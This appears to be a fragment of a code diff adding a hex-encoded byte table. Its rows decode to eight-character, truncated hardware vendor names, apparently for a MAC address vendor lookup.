+0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x43, 0x6f, +0x45, 0x64, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x65, 0x6e, 0x74, 0x69, 0x76, 0x69, 0x73, +0x45, 0x6c, 0x61, 0x62, 0x2d, 0x45, 0x78, 0x70, +0x4f, 0x4e, 0x65, 0x69, 0x6c, 0x50, 0x72, 0x6f, +0x41, 0x63, 0x65, 0x6e, 0x65, 0x74, 0x00, 0x00, +0x47, 0x61, 0x69, 0x2d, 0x54, 0x72, 0x6f, 0x6e, +0x45, 0x6e, 0x65, 0x72, 0x6d, 0x65, 0x74, 0x00, +0x41, 0x63, 0x69, 0x73, 0x74, 0x4d, 0x65, 0x64, +0x53, 0x6b, 0x54, 0x65, 0x6c, 0x65, 0x73, 0x79, +0x41, 0x66, 0x74, 0x65, 0x6b, 0x49, 0x6e, 0x66, +0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x53, 0x65, +0x50, 0x65, 0x65, 0x72, 0x6c, 0x65, 0x73, 0x73, +0x41, 0x71, 0x75, 0x61, 0x6e, 0x74, 0x69, 0x61, +0x54, 0x6f, 0x6e, 0x7a, 0x65, 0x54, 0x65, 0x63, +0x4e, 0x6f, 0x76, 0x61, 0x74, 0x72, 0x6f, 0x6e, +0x47, 0x61, 0x6d, 0x62, 0x72, 0x6f, 0x4c, 0x75, +0x53, 0x65, 0x64, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x53, 0x79, 0x72, 0x69, 0x6e, 0x78, 0x49, 0x6e, +0x54, 0x6f, 0x75, 0x63, 0x68, 0x74, 0x75, 0x6e, +0x54, 0x69, 0x62, 0x65, 0x74, 0x73, 0x79, 0x73, +0x54, 0x72, 0x61, 0x74, 0x65, 0x63, 0x54, 0x65, +0x43, 0x6f, 0x68, 0x65, 0x72, 0x65, 0x6e, 0x74, +0x50, 0x75, 0x72, 0x65, 0x74, 0x65, 0x63, 0x68, +0x43, 0x6d, 0x50, 0x72, 0x65, 0x63, 0x69, 0x73, +0x4b, 0x74, 0x66, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x51, 0x75, 0x61, 0x6e, 0x74, 0x61, 0x4d, 0x69, +0x4d, 0x61, 0x72, 0x61, 0x43, 0x6f, 0x6e, 0x73, +0x4b, 0x79, 0x6f, 0x63, 0x65, 0x72, 0x61, 0x44, +0x43, 0x65, 0x63, 0x57, 0x69, 0x72, 0x65, 0x6c, +0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x53, 0x65, +0x49, 0x6d, 0x63, 0x61, 0x2d, 0x47, 0x6d, 0x62, +0x4f, 0x70, 0x74, 0x69, 0x63, 0x6f, 0x6d, 0x43, +0x54, 0x68, 0x69, 0x6e, 0x6c, 0x69, 0x6e, 0x78, +0x45, 0x74, 0x79, 0x6d, 0x6f, 0x74, 0x69, 0x63, +0x4d, 0x6f, 0x6e, 0x73, 0x6f, 0x6f, 0x6e, 0x4d, +0x42, 0x6c, 0x75, 0x65, 0x63, 0x68, 0x69, 0x70, +0x49, 0x6f, 0x6e, 0x47, 0x65, 0x6f, 0x70, 0x68, +0x4d, 0x61, 0x67, 0x6e, 0x75, 0x6d, 0x53, 0x65, +0x41, 0x61, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x70, 0x61, 0x6e, 0x73, 0x4c, 0x6f, 0x67, +0x43, 0x61, 0x6e, 0x6b, 0x6f, 0x54, 0x65, 0x63, +0x44, 0x61, 0x65, 0x6d, 0x79, 0x75, 0x6e, 0x67, +0x43, 0x6c, 0x69, 0x70, 0x73, 0x61, 0x6c, 0x41, +0x44, 0x61, 0x63, 0x6f, 0x73, 0x54, 0x65, 0x63, +0x57, 0x6f, 0x6f, 0x6a, 0x6f, 0x6f, 0x69, 0x74, +0x53, 0x7a, 0x63, 0x6f, 0x6d, 0x42, 0x72, 0x6f, +0x52, 0x65, 0x6e, 0x75, 0x45, 0x6c, 0x65, 0x63, +0x5a, 0x65, 0x72, 0x6f, 0x6e, 0x41, 0x6c, 0x6c, +0x4c, 0x69, 0x67, 0x4e, 0x65, 0x6f, 0x70, 0x74, +0x50, 0x79, 0x72, 0x61, 0x6d, 0x69, 0x64, 0x4d, +0x43, 0x65, 0x6d, 0x53, 0x6f, 0x6c, 0x75, 0x74, +0x4d, 0x6f, 0x74, 0x65, 0x63, 0x68, 0x49, 0x6e, +0x46, 0x6f, 0x72, 0x63, 0x6f, 0x6d, 0x53, 0x70, +0x46, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x75, 0x70, 0x72, 0x65, 0x6d, 0x61, 0x00, +0x41, 0x6d, 0x75, 0x6c, 0x65, 0x74, 0x48, 0x6f, +0x54, 0x61, 0x6c, 0x6f, 0x73, 0x53, 0x79, 0x73, +0x50, 0x6c, 0x61, 0x79, 0x6c, 0x69, 0x6e, 0x65, +0x55, 0x6e, 0x69, 0x67, 0x72, 0x61, 0x6e, 0x64, +0x41, 0x72, 0x63, 0x73, 0x6f, 0x66, 0x74, 0x53, +0x45, 0x2d, 0x54, 0x65, 0x6b, 0x44, 0x69, 0x67, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x49, +0x48, 0x6f, 0x6b, 0x6b, 0x65, 0x69, 0x49, 0x6e, +0x46, 0x61, 0x6e, 0x73, 0x74, 0x65, 0x6c, 0x00, +0x53, 0x69, 0x67, 0x68, 0x74, 0x6c, 0x6f, 0x67, +0x43, 0x72, 0x65, 0x73, 0x79, 0x6e, 0x00, 0x00, +0x43, 0x69, 0x73, 0x63, 0x6f, 0x4d, 0x65, 0x72, +0x42, 0x72, 0x69, 0x6c, 0x6c, 0x69, 0x61, 0x6e, +0x4f, 0x70, 0x74, 0x65, 0x6c, 0x69, 0x61, 0x6e, +0x54, 0x65, 0x72, 0x61, 0x62, 0x79, 0x74, 0x65, +0x41, 0x76, 0x65, 0x67, 0x61, 0x00, 0x00, 0x00, +0x49, 0x70, 0x74, 0x72, 0x61, 0x64, 0x65, 0x53, +0x4e, 0x65, 0x75, 0x72, 0x6f, 0x73, 0x54, 0x65, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x58, +0x4d, 0x69, 0x74, 0x75, 0x74, 0x6f, 0x79, 0x6f, +0x47, 0x7a, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x55, 0x62, 0x69, 0x78, 0x6f, 0x6e, 0x00, 0x00, +0x44, 0x45, 0x53, 0x68, 0x61, 0x77, 0x52, 0x65, +0x41, 0x76, 0x65, 0x72, 0x6d, 0x65, 0x64, 0x69, +0x45, 0x78, 0x74, 0x65, 0x72, 0x69, 0x74, 0x79, +0x41, 0x73, 0x69, 0x61, 0x45, 0x6c, 0x65, 0x63, +0x47, 0x64, 0x78, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x57, 0x35, 0x6e, 0x65, 0x74, 0x77, 0x6f, 0x72, +0x53, 0x69, 0x6e, 0x64, 0x6f, 0x72, 0x69, 0x63, +0x43, 0x65, 0x63, 0x54, 0x65, 0x6c, 0x65, 0x63, +0x4b, 0x69, 0x6d, 0x61, 0x6c, 0x64, 0x69, 0x45, +0x43, 0x61, 0x6c, 0x65, 0x41, 0x63, 0x63, 0x65, +0x4e, 0x65, 0x63, 0x55, 0x6e, 0x69, 0x66, 0x69, +0x45, 0x32, 0x76, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x47, 0x61, 0x74, 0x73, 0x6f, 0x6d, 0x65, 0x74, +0x54, 0x61, 0x69, 0x77, 0x61, 0x6e, 0x56, 0x69, +0x53, 0x6f, 0x66, 0x74, 0x69, 0x65, 0x72, 0x00, +0x41, 0x73, 0x63, 0x65, 0x6e, 0x64, 0x4e, 0x65, +0x41, 0x72, 0x74, 0x65, 0x63, 0x44, 0x65, 0x73, +0x58, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x68, +0x54, 0x68, 0x6f, 0x72, 0x61, 0x74, 0x65, 0x63, +0x50, 0x61, 0x6e, 0x61, 0x63, 0x63, 0x65, 0x73, +0x43, 0x65, 0x6e, 0x69, 0x74, 0x73, 0x00, 0x00, +0x45, 0x6e, 0x63, 0x6f, 0x72, 0x65, 0x53, 0x6f, +0x56, 0x65, 0x72, 0x74, 0x65, 0x78, 0x4c, 0x69, +0x44, 0x69, 0x67, 0x69, 0x6c, 0x65, 0x6e, 0x74, +0x33, 0x50, 0x68, 0x6f, 0x65, 0x6e, 0x69, 0x78, +0x44, 0x61, 0x77, 0x65, 0x76, 0x69, 0x73, 0x69, +0x48, 0x65, 0x61, 0x64, 0x73, 0x55, 0x70, 0x54, +0x50, 0x75, 0x6c, 0x73, 0x61, 0x72, 0x2d, 0x54, +0x43, 0x72, 0x79, 0x70, 0x74, 0x6f, 0x53, 0x41, +0x41, 0x63, 0x65, 0x6e, 0x65, 0x74, 0x54, 0x65, +0x56, 0x65, 0x63, 0x69, 0x6d, 0x61, 0x4e, 0x65, +0x50, 0x69, 0x67, 0x65, 0x6f, 0x6e, 0x50, 0x6f, +0x43, 0x61, 0x74, 0x63, 0x68, 0x65, 0x72, 0x00, +0x4c, 0x61, 0x73, 0x56, 0x65, 0x67, 0x61, 0x73, +0x42, 0x6f, 0x67, 0x65, 0x6e, 0x43, 0x6f, 0x6d, +0x4c, 0x69, 0x61, 0x6e, 0x68, 0x65, 0x54, 0x65, +0x38, 0x57, 0x61, 0x79, 0x73, 0x54, 0x65, 0x63, +0x53, 0x65, 0x63, 0x66, 0x6f, 0x6e, 0x65, 0x4b, +0x53, 0x77, 0x73, 0x6f, 0x66, 0x74, 0x00, 0x00, +0x53, 0x74, 0x6f, 0x72, 0x6c, 0x69, 0x6e, 0x6b, +0x41, 0x74, 0x65, 0x72, 0x61, 0x4e, 0x65, 0x74, +0x41, 0x72, 0x67, 0x61, 0x72, 0x64, 0x00, 0x00, +0x41, 0x65, 0x72, 0x6f, 0x6d, 0x61, 0x72, 0x69, +0x45, 0x79, 0x65, 0x66, 0x69, 0x00, 0x00, 0x00, +0x55, 0x6e, 0x69, 0x6c, 0x65, 0x76, 0x65, 0x72, +0x54, 0x61, 0x67, 0x6d, 0x61, 0x73, 0x74, 0x65, +0x53, 0x74, 0x72, 0x61, 0x77, 0x62, 0x65, 0x72, +0x55, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, +0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x43, +0x45, 0x64, 0x73, 0x6c, 0x61, 0x62, 0x54, 0x65, +0x54, 0x61, 0x69, 0x67, 0x75, 0x65, 0x6e, 0x54, +0x4e, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6d, 0x00, +0x53, 0x69, 0x6d, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x4f, 0x6f, 0x6d, 0x61, 0x00, 0x00, 0x00, 0x00, +0x56, 0x65, 0x72, 0x69, 0x74, 0x65, 0x63, 0x68, +0x53, 0x69, 0x65, 0x6d, 0x65, 0x6e, 0x73, 0x48, +0x4c, 0x65, 0x75, 0x74, 0x72, 0x6f, 0x6e, 0x56, +0x43, 0x69, 0x73, 0x63, 0x6f, 0x53, 0x70, 0x76, +0x4b, 0x69, 0x6e, 0x67, 0x6a, 0x69, 0x6d, 0x00, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x4c, 0x69, +0x53, 0x61, 0x6d, 0x62, 0x75, 0x43, 0x6f, 0x6d, +0x4e, 0x65, 0x6f, 0x6e, 0x6f, 0x64, 0x65, 0x00, +0x5a, 0x68, 0x65, 0x6e, 0x6a, 0x69, 0x61, 0x6e, +0x53, 0x65, 0x74, 0x68, 0x61, 0x49, 0x6e, 0x64, +0x45, 0x32, 0x38, 0x53, 0x68, 0x61, 0x6e, 0x67, +0x45, 0x78, 0x70, 0x65, 0x72, 0x74, 0x69, 0x73, +0x41, 0x6e, 0x61, 0x63, 0x69, 0x73, 0x65, 0x54, +0x57, 0x6f, 0x77, 0x77, 0x65, 0x65, 0x00, 0x00, +0x41, 0x6d, 0x70, 0x6c, 0x65, 0x78, 0x00, 0x00, +0x4d, 0x61, 0x63, 0x6b, 0x77, 0x61, 0x72, 0x65, +0x44, 0x73, 0x79, 0x73, 0x00, 0x00, 0x00, 0x00, +0x57, 0x69, 0x72, 0x65, 0x6d, 0x6f, 0x6c, 0x64, +0x34, 0x6e, 0x73, 0x79, 0x73, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x63, 0x72, 0x6f, +0x41, 0x72, 0x6d, 0x6f, 0x72, 0x6c, 0x69, 0x6e, +0x52, 0x67, 0x62, 0x53, 0x70, 0x65, 0x63, 0x74, +0x5a, 0x6f, 0x64, 0x69, 0x61, 0x6e, 0x65, 0x74, +0x4d, 0x61, 0x78, 0x69, 0x6d, 0x49, 0x6e, 0x74, +0x42, 0x75, 0x79, 0x61, 0x6e, 0x67, 0x45, 0x6c, +0x48, 0x75, 0x61, 0x77, 0x65, 0x69, 0x54, 0x65, +0x46, 0x6f, 0x72, 0x6d, 0x6f, 0x73, 0x61, 0x32, +0x46, 0x6f, 0x6e, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x41, 0x76, 0x69, 0x67, 0x69, 0x6c, 0x6f, 0x6e, +0x45, 0x6c, 0x2d, 0x54, 0x65, 0x63, 0x68, 0x00, +0x4d, 0x65, 0x74, 0x61, 0x73, 0x79, 0x73, 0x74, +0x47, 0x6f, 0x74, 0x69, 0x76, 0x65, 0x41, 0x53, +0x57, 0x69, 0x6e, 0x6e, 0x65, 0x74, 0x53, 0x6f, +0x49, 0x6e, 0x66, 0x69, 0x6e, 0x6f, 0x76, 0x61, +0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x41, 0x63, +0x45, 0x6b, 0x61, 0x68, 0x61, 0x75, 0x00, 0x00, +0x4d, 0x6f, 0x6e, 0x74, 0x67, 0x6f, 0x6d, 0x65, +0x52, 0x61, 0x64, 0x69, 0x6f, 0x63, 0x6f, 0x6d, +0x5a, 0x68, 0x6f, 0x6e, 0x67, 0x73, 0x68, 0x61, +0x41, 0x64, 0x73, 0x2d, 0x54, 0x65, 0x63, 0x00, +0x4e, 0x70, 0x63, 0x6f, 0x72, 0x65, 0x00, 0x00, +0x48, 0x61, 0x6e, 0x73, 0x75, 0x6e, 0x54, 0x65, +0x47, 0x72, 0x65, 0x61, 0x74, 0x57, 0x65, 0x6c, +0x4a, 0x65, 0x73, 0x73, 0x2d, 0x4c, 0x69, 0x6e, +0x4b, 0x69, 0x6e, 0x67, 0x73, 0x74, 0x61, 0x74, +0x48, 0x61, 0x6e, 0x61, 0x4d, 0x69, 0x63, 0x72, +0x57, 0x65, 0x6c, 0x64, 0x65, 0x78, 0x00, 0x00, +0x4e, 0x61, 0x76, 0x63, 0x61, 0x73, 0x74, 0x00, +0x4f, 0x6d, 0x6e, 0x69, 0x6b, 0x65, 0x79, 0x00, +0x4c, 0x65, 0x6e, 0x6e, 0x74, 0x65, 0x6b, 0x00, +0x43, 0x69, 0x65, 0x72, 0x6d, 0x61, 0x41, 0x73, +0x54, 0x69, 0x71, 0x69, 0x74, 0x43, 0x6f, 0x6d, +0x58, 0x69, 0x70, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x5a, 0x69, 0x70, 0x70, 0x79, 0x54, 0x65, 0x63, +0x41, 0x64, 0x69, 0x67, 0x69, 0x74, 0x54, 0x65, +0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, +0x59, 0x6f, 0x67, 0x67, 0x69, 0x65, 0x53, 0x65, +0x41, 0x6e, 0x6e, 0x65, 0x61, 0x6c, 0x54, 0x65, +0x50, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x46, 0x69, +0x4e, 0x69, 0x64, 0x65, 0x63, 0x53, 0x61, 0x6e, +0x54, 0x76, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x64, 0x65, 0x75, 0x6e, 0x69, 0x73, 0x52, +0x54, 0x65, 0x63, 0x57, 0x69, 0x7a, 0x68, 0x6f, +0x44, 0x61, 0x77, 0x6f, 0x6e, 0x4d, 0x65, 0x64, +0x4d, 0x61, 0x67, 0x6e, 0x61, 0x43, 0x61, 0x72, +0x53, 0x33, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x44, 0x33, 0x4c, 0x65, 0x64, 0x4c, 0x6c, 0x63, +0x4e, 0x65, 0x77, 0x56, 0x6f, 0x69, 0x63, 0x65, +0x45, 0x6c, 0x69, 0x77, 0x65, 0x6c, 0x6c, 0x43, +0x5a, 0x61, 0x6f, 0x4e, 0x76, 0x70, 0x42, 0x6f, +0x41, 0x6e, 0x73, 0x61, 0x00, 0x00, 0x00, 0x00, +0x45, 0x73, 0x73, 0x65, 0x6e, 0x63, 0x65, 0x54, +0x41, 0x6c, 0x6d, 0x69, 0x74, 0x65, 0x63, 0x49, +0x46, 0x69, 0x72, 0x65, 0x74, 0x69, 0x64, 0x65, +0x43, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x52, 0x61, 0x62, 0x61, 0x54, 0x65, 0x63, 0x68, +0x4f, 0x70, 0x77, 0x46, 0x75, 0x65, 0x6c, 0x4d, +0x49, 0x73, 0x6f, 0x6e, 0x61, 0x73, 0x00, 0x00, +0x45, 0x6f, 0x70, 0x73, 0x54, 0x65, 0x63, 0x68, +0x56, 0x69, 0x70, 0x72, 0x69, 0x6e, 0x65, 0x74, +0x54, 0x65, 0x63, 0x6f, 0x62, 0x65, 0x73, 0x74, +0x41, 0x78, 0x69, 0x6f, 0x68, 0x6d, 0x53, 0x61, +0x45, 0x72, 0x61, 0x65, 0x45, 0x6c, 0x65, 0x63, +0x44, 0x72, 0x65, 0x61, 0x6d, 0x74, 0x65, 0x63, +0x42, 0x61, 0x6c, 0x64, 0x6f, 0x72, 0x45, 0x6c, +0x41, 0x74, 0x72, 0x6f, 0x61, 0x64, 0x41, 0x54, +0x48, 0x69, 0x67, 0x68, 0x2d, 0x47, 0x61, 0x69, +0x54, 0x65, 0x61, 0x6d, 0x63, 0x61, 0x73, 0x74, +0x55, 0x6e, 0x69, 0x66, 0x69, 0x65, 0x64, 0x44, +0x52, 0x65, 0x69, 0x67, 0x6e, 0x63, 0x6f, 0x6d, +0x53, 0x77, 0x69, 0x72, 0x6c, 0x6e, 0x65, 0x74, +0x4a, 0x61, 0x76, 0x61, 0x64, 0x47, 0x6e, 0x73, +0x41, 0x72, 0x63, 0x68, 0x4d, 0x65, 0x74, 0x65, +0x53, 0x61, 0x6e, 0x74, 0x6f, 0x73, 0x68, 0x61, +0x41, 0x6d, 0x62, 0x65, 0x72, 0x57, 0x69, 0x72, +0x45, 0x70, 0x6c, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x50, 0x72, 0x6f, 0x73, 0x74, 0x61, 0x72, 0x00, +0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6e, 0x64, +0x4d, 0x6f, 0x72, 0x65, 0x79, 0x00, 0x00, 0x00, +0x41, 0x6e, 0x61, 0x76, 0x65, 0x6f, 0x00, 0x00, +0x56, 0x65, 0x72, 0x6b, 0x65, 0x72, 0x6b, 0x53, +0x54, 0x6f, 0x70, 0x64, 0x61, 0x74, 0x61, 0x53, +0x56, 0x69, 0x73, 0x75, 0x61, 0x6c, 0x67, 0x61, +0x59, 0x69, 0x67, 0x75, 0x61, 0x6e, 0x67, 0x00, +0x41, 0x64, 0x68, 0x6f, 0x63, 0x6f, 0x00, 0x00, +0x43, 0x61, 0x6d, 0x65, 0x6f, 0x43, 0x6f, 0x6d, +0x48, 0x61, 0x63, 0x65, 0x74, 0x72, 0x6f, 0x6e, +0x4e, 0x75, 0x6d, 0x61, 0x74, 0x61, 0x00, 0x00, +0x41, 0x6c, 0x6c, 0x74, 0x65, 0x63, 0x00, 0x00, +0x42, 0x6c, 0x75, 0x65, 0x5a, 0x65, 0x6e, 0x45, +0x57, 0x65, 0x6c, 0x64, 0x69, 0x6e, 0x67, 0x54, +0x41, 0x63, 0x63, 0x75, 0x74, 0x65, 0x63, 0x68, +0x56, 0x69, 0x64, 0x65, 0x6f, 0x6c, 0x6f, 0x67, +0x45, 0x73, 0x63, 0x61, 0x70, 0x65, 0x43, 0x6f, +0x4a, 0x6f, 0x79, 0x74, 0x6f, 0x74, 0x6f, 0x00, +0x43, 0x68, 0x75, 0x6e, 0x69, 0x63, 0x68, 0x69, +0x45, 0x6f, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x69, +0x4b, 0x61, 0x6d, 0x65, 0x6c, 0x65, 0x6f, 0x6e, +0x56, 0x76, 0x6f, 0x6e, 0x64, 0x00, 0x00, 0x00, +0x59, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x50, 0x72, +0x43, 0x6f, 0x6d, 0x70, 0x72, 0x6f, 0x54, 0x65, +0x41, 0x6c, 0x74, 0x65, 0x63, 0x45, 0x6c, 0x65, +0x4f, 0x70, 0x74, 0x69, 0x6d, 0x61, 0x6c, 0x54, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x71, 0x75, 0x61, +0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6c, 0x69, 0x76, +0x46, 0x31, 0x6d, 0x65, 0x64, 0x69, 0x61, 0x00, +0x42, 0x69, 0x67, 0x66, 0x6f, 0x6f, 0x74, 0x4e, +0x57, 0x62, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, +0x53, 0x63, 0x68, 0x72, 0x61, 0x63, 0x6b, 0x53, +0x44, 0x75, 0x61, 0x78, 0x65, 0x73, 0x00, 0x00, +0x44, 0x65, 0x76, 0x69, 0x2d, 0x44, 0x61, 0x6e, +0x48, 0x61, 0x73, 0x77, 0x61, 0x72, 0x65, 0x00, +0x53, 0x6f, 0x75, 0x74, 0x68, 0x65, 0x72, 0x6e, +0x45, 0x6e, 0x63, 0x6f, 0x72, 0x65, 0x45, 0x6c, +0x49, 0x65, 0x65, 0x65, 0x31, 0x33, 0x39, 0x34, +0x41, 0x74, 0x65, 0x63, 0x68, 0x54, 0x65, 0x63, +0x41, 0x64, 0x76, 0x61, 0x6e, 0x73, 0x75, 0x73, +0x4b, 0x6e, 0x69, 0x63, 0x6b, 0x45, 0x6c, 0x65, +0x4a, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x4d, 0x6f, +0x57, 0x65, 0x6c, 0x63, 0x61, 0x74, 0x00, 0x00, +0x43, 0x68, 0x75, 0x61, 0x6e, 0x67, 0x2d, 0x59, +0x57, 0x69, 0x6e, 0x69, 0x78, 0x00, 0x00, 0x00, +0x50, 0x61, 0x79, 0x74, 0x65, 0x63, 0x00, 0x00, +0x50, 0x6f, 0x73, 0x69, 0x66, 0x6c, 0x65, 0x78, +0x41, 0x73, 0x74, 0x65, 0x6c, 0x00, 0x00, 0x00, +0x49, 0x72, 0x6c, 0x69, 0x6e, 0x6b, 0x00, 0x00, +0x53, 0x70, 0x75, 0x74, 0x6e, 0x69, 0x6b, 0x45, +0x53, 0x65, 0x6e, 0x73, 0x69, 0x63, 0x61, 0x73, +0x42, 0x65, 0x79, 0x6f, 0x6e, 0x64, 0x77, 0x69, +0x4b, 0x75, 0x6d, 0x65, 0x45, 0x6c, 0x65, 0x63, +0x43, 0x6d, 0x43, 0x6f, 0x6d, 0x61, 0x6e, 0x64, +0x50, 0x68, 0x6f, 0x6e, 0x65, 0x78, 0x4b, 0x6f, +0x4c, 0x62, 0x6e, 0x6c, 0x45, 0x6e, 0x67, 0x69, +0x49, 0x6e, 0x74, 0x65, 0x6c, 0x69, 0x63, 0x69, +0x42, 0x69, 0x74, 0x73, 0x67, 0x65, 0x6e, 0x00, +0x49, 0x6d, 0x63, 0x6f, 0x73, 0x79, 0x73, 0x00, +0x53, 0x69, 0x65, 0x6d, 0x65, 0x6e, 0x73, 0x54, +0x32, 0x6d, 0x32, 0x62, 0x4d, 0x6f, 0x6e, 0x74, +0x41, 0x6e, 0x74, 0x69, 0x6f, 0x70, 0x65, 0x41, +0x41, 0x63, 0x6c, 0x61, 0x72, 0x61, 0x52, 0x66, +0x53, 0x70, 0x65, 0x63, 0x74, 0x72, 0x61, 0x6c, +0x42, 0x61, 0x6c, 0x6c, 0x75, 0x66, 0x66, 0x00, +0x47, 0x75, 0x64, 0x65, 0x41, 0x6e, 0x61, 0x6c, +0x54, 0x72, 0x65, 0x6e, 0x64, 0x6f, 0x6e, 0x54, +0x44, 0x75, 0x65, 0x72, 0x72, 0x44, 0x65, 0x6e, +0x53, 0x74, 0x65, 0x72, 0x6c, 0x69, 0x74, 0x65, +0x43, 0x6f, 0x6d, 0x6d, 0x65, 0x72, 0x63, 0x65, +0x55, 0x6d, 0x62, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x47, 0x69, 0x67, 0x61, 0x6d, 0x69, 0x70, 0x73, +0x4f, 0x65, 0x73, 0x6f, 0x6c, 0x75, 0x74, 0x69, +0x57, 0x69, 0x6c, 0x69, 0x62, 0x6f, 0x78, 0x44, +0x48, 0x69, 0x67, 0x68, 0x70, 0x6f, 0x69, 0x6e, +0x47, 0x6d, 0x63, 0x47, 0x75, 0x61, 0x72, 0x64, +0x52, 0x64, 0x69, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x52, 0x61, 0x63, 0x6b, 0x61, 0x62, 0x6c, 0x65, +0x50, 0x69, 0x74, 0x6e, 0x65, 0x79, 0x42, 0x6f, +0x4f, 0x6e, 0x53, 0x6f, 0x66, 0x74, 0x77, 0x61, +0x42, 0x65, 0x6c, 0x64, 0x65, 0x6e, 0x00, 0x00, +0x46, 0x6f, 0x73, 0x73, 0x69, 0x6c, 0x50, 0x61, +0x52, 0x66, 0x43, 0x6f, 0x6e, 0x63, 0x65, 0x70, +0x43, 0x69, 0x61, 0x6e, 0x65, 0x74, 0x49, 0x6e, +0x41, 0x69, 0x72, 0x65, 0x73, 0x70, 0x69, 0x64, +0x54, 0x65, 0x6e, 0x74, 0x65, 0x6c, 0x43, 0x6f, +0x54, 0x65, 0x73, 0x74, 0x6f, 0x00, 0x00, 0x00, +0x55, 0x6c, 0x74, 0x72, 0x61, 0x45, 0x6c, 0x65, +0x4e, 0x65, 0x74, 0x63, 0x6f, 0x6e, 0x73, 0x53, +0x41, 0x63, 0x6f, 0x67, 0x69, 0x74, 0x6f, 0x00, +0x43, 0x68, 0x61, 0x69, 0x6e, 0x6c, 0x65, 0x61, +0x4c, 0x65, 0x61, 0x66, 0x00, 0x00, 0x00, 0x00, +0x53, 0x61, 0x61, 0x66, 0x6e, 0x65, 0x74, 0x43, +0x53, 0x74, 0x61, 0x63, 0x63, 0x61, 0x74, 0x6f, +0x4a, 0x65, 0x6e, 0x61, 0x65, 0x72, 0x41, 0x6e, +0x49, 0x6e, 0x6e, 0x6f, 0x74, 0x65, 0x63, 0x68, +0x56, 0x61, 0x6c, 0x65, 0x6d, 0x6f, 0x75, 0x6e, +0x44, 0x6f, 0x63, 0x6f, 0x6d, 0x6f, 0x00, 0x00, +0x42, 0x6c, 0x61, 0x75, 0x70, 0x75, 0x6e, 0x6b, +0x43, 0x6f, 0x6d, 0x6d, 0x65, 0x72, 0x63, 0x69, +0x44, 0x6f, 0x6f, 0x72, 0x6b, 0x69, 0x6e, 0x67, +0x59, 0x75, 0x68, 0x75, 0x61, 0x54, 0x65, 0x6c, +0x54, 0x65, 0x6c, 0x64, 0x61, 0x74, 0x53, 0x70, +0x4d, 0x69, 0x6b, 0x72, 0x6f, 0x6d, 0x00, 0x00, +0x44, 0x61, 0x6e, 0x70, 0x65, 0x78, 0x00, 0x00, +0x45, 0x74, 0x72, 0x6f, 0x76, 0x69, 0x73, 0x69, +0x52, 0x61, 0x79, 0x62, 0x69, 0x74, 0x4b, 0x6f, +0x4d, 0x65, 0x74, 0x61, 0x63, 0x6f, 0x6d, 0x50, +0x53, 0x65, 0x6e, 0x73, 0x6f, 0x70, 0x61, 0x72, +0x5a, 0x2d, 0x43, 0x6f, 0x6d, 0x00, 0x00, 0x00, +0x50, 0x6c, 0x65, 0x78, 0x75, 0x73, 0x58, 0x69, +0x5a, 0x65, 0x75, 0x67, 0x6d, 0x61, 0x00, 0x00, +0x31, 0x36, 0x30, 0x36, 0x33, 0x00, 0x00, 0x00, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x48, +0x58, 0x69, 0x70, 0x68, 0x65, 0x72, 0x54, 0x65, +0x41, 0x65, 0x72, 0x6f, 0x68, 0x69, 0x76, 0x65, +0x44, 0x61, 0x74, 0x75, 0x6d, 0x00, 0x00, 0x00, +0x4d, 0x61, 0x7a, 0x65, 0x74, 0x00, 0x00, 0x00, +0x50, 0x69, 0x63, 0x6f, 0x74, 0x65, 0x73, 0x74, +0x52, 0x69, 0x65, 0x64, 0x65, 0x6c, 0x43, 0x6f, +0x47, 0x72, 0x69, 0x64, 0x70, 0x6f, 0x69, 0x6e, +0x56, 0x69, 0x76, 0x6f, 0x78, 0x00, 0x00, 0x00, +0x53, 0x6d, 0x61, 0x72, 0x64, 0x74, 0x76, 0x00, +0x43, 0x63, 0x74, 0x52, 0x26, 0x44, 0x00, 0x00, +0x45, 0x73, 0x74, 0x69, 0x63, 0x00, 0x00, 0x00, +0x49, 0x74, 0x57, 0x61, 0x74, 0x63, 0x68, 0x64, +0x43, 0x68, 0x65, 0x6e, 0x67, 0x48, 0x6f, 0x6e, +0x57, 0x69, 0x32, 0x77, 0x69, 0x00, 0x00, 0x00, +0x53, 0x6f, 0x6e, 0x69, 0x74, 0x72, 0x6f, 0x6c, 